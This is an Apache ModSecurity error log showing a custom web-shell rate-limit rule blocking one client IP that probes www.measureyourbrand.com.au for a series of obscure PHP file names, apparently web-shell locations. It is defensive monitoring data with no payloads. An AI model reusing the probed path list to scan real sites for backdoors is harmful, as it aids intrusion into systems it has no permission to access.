[Mon Nov 17 05:08:25.116417 2025] [:error] [pid 39537:tid 39553] [client 48.218.71.119:7067] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/oswkk.php"] [unique_id "aRo9SYZRrh1pcrdcLB_M0AAAAM0"]
[Mon Nov 17 05:08:25.745833 2025] [:error] [pid 39451:tid 39512] [client 48.218.71.119:6879] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/oswkk.php"] [unique_id "aRo9SefgkqXTS0SO3fBhaAAAAIQ"]
[Mon Nov 17 05:08:26.656412 2025] [:error] [pid 39451:tid 39520] [client 48.218.71.119:6989] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/oswkk.php"] [unique_id "aRo9SufgkqXTS0SO3fBhaQAAAIw"]
[Mon Nov 17 05:08:27.162920 2025] [:error] [pid 39451:tid 39530] [client 48.218.71.119:6874] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rex.php"] [unique_id "aRo9S-fgkqXTS0SO3fBhagAAAJY"]
[Mon Nov 17 05:08:27.503543 2025] [:error] [pid 39537:tid 39542] [client 48.218.71.119:6982] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rex.php"] [unique_id "aRo9S4ZRrh1pcrdcLB_M4AAAAMI"]
[Mon Nov 17 05:08:27.999205 2025] [:error] [pid 39451:tid 39524] [client 48.218.71.119:6916] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rex.php"] [unique_id "aRo9S-fgkqXTS0SO3fBhcAAAAJA"]
[Mon Nov 17 05:08:28.323187 2025] [:error] [pid 39537:tid 39550] [client 48.218.71.119:6977] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/rex.php"] [unique_id "aRo9TIZRrh1pcrdcLB_M5wAAAMo"]
[Mon Nov 17 05:08:28.956383 2025] [:error] [pid 39537:tid 39554] [client 48.218.71.119:7033] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "aRo9TIZRrh1pcrdcLB_M7AAAAM4"]
[Mon Nov 17 05:08:29.727982 2025] [:error] [pid 39450:tid 39496] [client 48.218.71.119:7122] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "aRo9TeoZqPB4_7vNEDSLtQAAAE8"]
[Mon Nov 17 05:08:30.985452 2025] [:error] [pid 39451:tid 39512] [client 48.218.71.119:6789] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "aRo9TufgkqXTS0SO3fBhdwAAAIQ"]
[Mon Nov 17 05:08:31.336301 2025] [:error] [pid 39449:tid 39455] [client 48.218.71.119:6866] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aj.php"] [unique_id "aRo9T6UCymTA3MDfzLODfAAAAAE"]
[Mon Nov 17 05:08:31.792596 2025] [:error] [pid 39450:tid 39486] [client 48.218.71.119:6900] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aRo9T-oZqPB4_7vNEDSLugAAAEU"]
[Mon Nov 17 05:08:32.431210 2025] [:error] [pid 39537:tid 39562] [client 48.218.71.119:6849] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aRo9UIZRrh1pcrdcLB_M_AAAANY"]
[Mon Nov 17 05:08:33.090940 2025] [:error] [pid 39449:tid 39461] [client 48.218.71.119:6970] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aRo9UaUCymTA3MDfzLODgQAAAAc"]
[Mon Nov 17 05:08:33.594800 2025] [:error] [pid 40548:tid 40566] [client 48.218.71.119:6963] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/snus.php"] [unique_id "aRo9UQM_PykfYnxh-j-ijgAAARA"]
[Mon Nov 17 05:08:34.032862 2025] [:error] [pid 39451:tid 39529] [client 48.218.71.119:6938] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/naxc.php"] [unique_id "aRo9UufgkqXTS0SO3fBhfQAAAJU"]
[Mon Nov 17 05:08:34.458167 2025] [:error] [pid 39537:tid 39546] [client 48.218.71.119:7091] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/naxc.php"] [unique_id "aRo9UoZRrh1pcrdcLB_NAAAAAMY"]
[Mon Nov 17 05:08:35.650482 2025] [:error] [pid 39537:tid 39550] [client 48.218.71.119:7011] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/naxc.php"] [unique_id "aRo9U4ZRrh1pcrdcLB_NAgAAAMo"]
[Mon Nov 17 05:08:37.423880 2025] [:error] [pid 40548:tid 40550] [client 48.218.71.119:6964] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/naxc.php"] [unique_id "aRo9VQM_PykfYnxh-j-ikgAAAQA"]
[Mon Nov 17 05:08:38.124147 2025] [:error] [pid 39450:tid 39503] [client 48.218.71.119:6944] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aRo9VuoZqPB4_7vNEDSLxwAAAFY"]
[Mon Nov 17 05:08:38.562753 2025] [:error] [pid 40548:tid 40553] [client 48.218.71.119:6996] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aRo9VgM_PykfYnxh-j-ilAAAAQM"]
[Mon Nov 17 05:08:39.869803 2025] [:error] [pid 39450:tid 39492] [client 48.218.71.119:6876] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aRo9V-oZqPB4_7vNEDSLyAAAAEs"]
[Mon Nov 17 05:08:40.769951 2025] [:error] [pid 39537:tid 39560] [client 48.218.71.119:6937] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "aRo9WIZRrh1pcrdcLB_NCwAAANQ"]
[Mon Nov 17 05:08:41.420214 2025] [:error] [pid 40548:tid 40551] [client 48.218.71.119:6968] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aRo9WQM_PykfYnxh-j-ilwAAAQE"]
[Mon Nov 17 05:08:42.267874 2025] [:error] [pid 39451:tid 39519] [client 48.218.71.119:6925] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aRo9WufgkqXTS0SO3fBhhgAAAIs"]
[Mon Nov 17 05:08:43.469311 2025] [:error] [pid 39451:tid 39510] [client 48.218.71.119:6890] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aRo9W-fgkqXTS0SO3fBhigAAAII"]
[Mon Nov 17 05:08:44.462807 2025] [:error] [pid 39537:tid 39551] [client 48.218.71.119:6971] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "aRo9XIZRrh1pcrdcLB_NEwAAAMs"]
[Mon Nov 17 05:08:45.202967 2025] [:error] [pid 39451:tid 39516] [client 48.218.71.119:6947] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aRo9XefgkqXTS0SO3fBhjAAAAIg"]
[Mon Nov 17 05:08:45.588961 2025] [:error] [pid 39450:tid 39482] [client 48.218.71.119:6953] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aRo9XeoZqPB4_7vNEDSLygAAAEE"]
[Mon Nov 17 05:08:46.180212 2025] [:error] [pid 39450:tid 39494] [client 48.218.71.119:7023] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aRo9XuoZqPB4_7vNEDSLywAAAE0"]
[Mon Nov 17 05:08:46.853613 2025] [:error] [pid 39450:tid 39486] [client 48.218.71.119:6882] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/api137.php"] [unique_id "aRo9XuoZqPB4_7vNEDSLzAAAAEU"]
[Mon Nov 17 05:08:47.436282 2025] [:error] [pid 39537:tid 39550] [client 48.218.71.119:6988] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class629.php"] [unique_id "aRo9X4ZRrh1pcrdcLB_NFgAAAMo"]
[Mon Nov 17 05:08:48.068707 2025] [:error] [pid 40548:tid 40565] [client 48.218.71.119:6969] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class629.php"] [unique_id "aRo9YAM_PykfYnxh-j-inAAAAQ8"]
[Mon Nov 17 05:08:48.597893 2025] [:error] [pid 39537:tid 39563] [client 48.218.71.119:6861] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class629.php"] [unique_id "aRo9YIZRrh1pcrdcLB_NFwAAANc"]
[Mon Nov 17 05:08:48.906076 2025] [:error] [pid 39451:tid 39525] [client 48.218.71.119:6862] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class629.php"] [unique_id "aRo9YOfgkqXTS0SO3fBhjwAAAJE"]
[Mon Nov 17 05:08:49.311951 2025] [:error] [pid 39449:tid 39454] [client 48.218.71.119:7018] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aRo9YaUCymTA3MDfzLOD6QAAAAA"]
[Mon Nov 17 05:08:50.228807 2025] [:error] [pid 39450:tid 39491] [client 48.218.71.119:6807] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aRo9YuoZqPB4_7vNEDSLzgAAAEo"]
[Mon Nov 17 05:08:50.965896 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:6918] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aRo9YoZRrh1pcrdcLB_NHwAAAM8"]
[Mon Nov 17 05:08:51.656045 2025] [:error] [pid 40548:tid 40564] [client 48.218.71.119:6973] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-x7.php"] [unique_id "aRo9YwM_PykfYnxh-j-iowAAAQ4"]
[Mon Nov 17 05:08:52.452115 2025] [:error] [pid 39450:tid 39488] [client 48.218.71.119:7020] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aRo9ZOoZqPB4_7vNEDSL0QAAAEc"]
[Mon Nov 17 05:08:52.981060 2025] [:error] [pid 39451:tid 39515] [client 48.218.71.119:6880] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aRo9ZOfgkqXTS0SO3fBhkgAAAIc"]
[Mon Nov 17 05:08:53.691218 2025] [:error] [pid 39451:tid 39516] [client 48.218.71.119:6850] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aRo9ZefgkqXTS0SO3fBhkwAAAIg"]
[Mon Nov 17 05:08:54.588825 2025] [:error] [pid 39537:tid 39541] [client 48.218.71.119:7016] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp670.php"] [unique_id "aRo9ZoZRrh1pcrdcLB_NKAAAAME"]
[Mon Nov 17 05:08:55.453803 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:6972] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aRo9Z4ZRrh1pcrdcLB_NKgAAAM8"]
[Mon Nov 17 05:08:56.362909 2025] [:error] [pid 39450:tid 39495] [client 48.218.71.119:6877] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aRo9aOoZqPB4_7vNEDSL0gAAAE4"]
[Mon Nov 17 05:08:57.755695 2025] [:error] [pid 40548:tid 40552] [client 48.218.71.119:6912] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aRo9aQM_PykfYnxh-j-ipwAAAQI"]
[Mon Nov 17 05:08:58.811353 2025] [:error] [pid 39537:tid 39542] [client 48.218.71.119:6803] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "aRo9aoZRrh1pcrdcLB_NQAAAAMI"]
[Mon Nov 17 05:08:59.194545 2025] [:error] [pid 40548:tid 40563] [client 48.218.71.119:6975] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aRo9awM_PykfYnxh-j-iqQAAAQ0"]
[Mon Nov 17 05:08:59.553935 2025] [:error] [pid 39449:tid 39460] [client 48.218.71.119:6809] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aRo9a6UCymTA3MDfzLOEAAAAAAY"]
[Mon Nov 17 05:09:00.275308 2025] [:error] [pid 39450:tid 39500] [client 48.218.71.119:6967] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aRo9bOoZqPB4_7vNEDSL1QAAAFM"]
[Mon Nov 17 05:09:00.877874 2025] [:error] [pid 39537:tid 39553] [client 48.218.71.119:7109] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aRo9bIZRrh1pcrdcLB_NUQAAAM0"]
[Mon Nov 17 05:09:01.969472 2025] [:error] [pid 39537:tid 39545] [client 48.218.71.119:6878] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aRo9bYZRrh1pcrdcLB_NXQAAAMU"]
[Mon Nov 17 05:09:02.604252 2025] [:error] [pid 39537:tid 39543] [client 48.218.71.119:6891] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aRo9boZRrh1pcrdcLB_NYwAAAMM"]
[Mon Nov 17 05:09:03.321487 2025] [:error] [pid 39450:tid 39499] [client 48.218.71.119:6923] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aRo9b-oZqPB4_7vNEDSL1wAAAFI"]
[Mon Nov 17 05:09:04.363903 2025] [:error] [pid 39537:tid 39562] [client 48.218.71.119:6955] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jq.php"] [unique_id "aRo9cIZRrh1pcrdcLB_NbQAAANY"]
